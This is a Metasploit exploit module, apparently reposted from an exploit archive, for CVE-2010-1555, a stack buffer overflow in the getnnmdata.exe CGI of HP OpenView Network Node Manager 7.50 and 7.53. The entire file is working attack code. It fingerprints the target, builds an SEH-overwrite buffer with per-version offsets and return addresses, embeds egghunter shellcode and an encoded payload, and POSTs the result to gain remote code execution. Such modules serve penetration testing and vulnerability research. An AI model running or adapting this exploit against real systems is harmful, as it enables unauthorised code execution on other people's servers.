HP OpenView Network Node Manager getnnmdata.exe (Hostname) CGI BOF

##
# $Id: hp_nnm_getnnmdata_hostname.rb 12131 2011-03-25 00:46:59Z mc $
##
 
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = GreatRanking
 
    HttpFingerPrint = { :method => 'HEAD', :uri => '/OvCgi/getnnmdata.exe', :pattern => /Hewlett-Packard Development Company/ }
 
    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::Remote::Seh
 
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'HP OpenView Network Node Manager getnnmdata.exe (Hostname) CGI Buffer Overflow',
            'Description'    => %q{
                    This module exploits a buffer overflow in HP OpenView Network Node Manager 7.50/7.53.
                By sending specially crafted Hostname parameter to the getnnmdata.exe CGI,
                an attacker may be able to execute arbitrary code.
            },
            'Author'         => [ 'MC' ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: 12131 $',
            'References'     =>
                [
                    [ 'CVE', '2010-1555' ],
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                },
            'Privileged'     => false,
            'Payload'        =>
                {
                    'Space'    => 750,
                    'BadChars' => "\x00",
                    'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",
                    'DisableNops' => 'True',
                    'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,
                    'EncoderOptions' =>
                        {
                            'BufferRegister' => 'ECX',
                        },
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [ 'HP OpenView Network Node Manager 7.50', { 'Offset' => 65640, 'Ret' => 0x5a01f277 } ],
                    [ 'HP OpenView Network Node Manager 7.53', { 'Offset' => 65640, 'Ret' => 0x5a666d69 } ],
                ],
            'DefaultTarget'  => 0,
            'DisclosureDate' => 'May 11 2010'))
 
        register_options( [ Opt::RPORT(80) ], self.class )
    end
 
    def exploit
 
        egg = rand_text_alpha_upper(4)
 
        hunter =  "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
        hunter << "\xef\xb8" + egg + "\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
 
        boom =  rand_text_alpha_upper(target['Offset'])
        boom << generate_seh_record(target.ret)
        boom << hunter + egg + egg
        boom << payload.encoded
        boom << rand_text_alpha_upper(90024 - payload.encoded.length)
         
        sploit = "SnmpVals=&Hostname=#{boom}"
 
        print_status("Trying target #{target.name}...")
 
        send_request_cgi({
            'uri'       => '/OvCgi/getnnmdata.exe',
            'method'    => 'POST',
            'data'      => sploit
            }, 8)
         
        handler
 
    end
 
end



#  0day.today [2018-04-12]  #